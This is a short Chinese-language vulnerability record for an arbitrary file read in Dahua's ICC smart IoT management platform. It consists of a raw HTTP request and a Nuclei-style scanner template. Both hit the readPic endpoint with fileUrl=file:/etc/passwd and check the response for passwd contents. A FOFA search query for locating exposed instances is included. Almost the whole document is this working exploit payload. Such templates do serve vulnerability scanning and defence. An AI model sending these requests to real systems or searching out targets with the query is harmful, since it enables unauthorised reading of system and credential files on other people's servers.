大华智能物联ICC综合管理平台readpic任意文件读取漏洞

GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/2Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1If-None-Match: W/"63ba2750-93e"Te: trailers

id: dahua-icc-readpic-anyfilereadinfo:  name: 大华ICC readpic任意文件读取漏洞  author: fgz  severity: high  description: |    2021年大华全新发布的ICC架构下的基础停车业务系统，基于硬件+平台+服务能力，依托集中化管控模式，提供中大型园区集团化管理、多社区停车场联网等项目的集成应用，打造集停车场管理、运营和生态于一体的赋能平台，实现降本、增收、提效。大华ICC智能物联综合管理平台存在任意文件读取漏洞，会造成敏感信息泄露。  tags: 2023,dahua,fileread  metadata:    max-request: 2    fofa-query: body="*客户端会小于800*"    verified: truehttp:  - method: GET    path:      - "{{BaseURL}}/evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd"    matchers:      - type: regex        part: body        regex:          - "root:.*?:[0-9]*:[0-9]*:"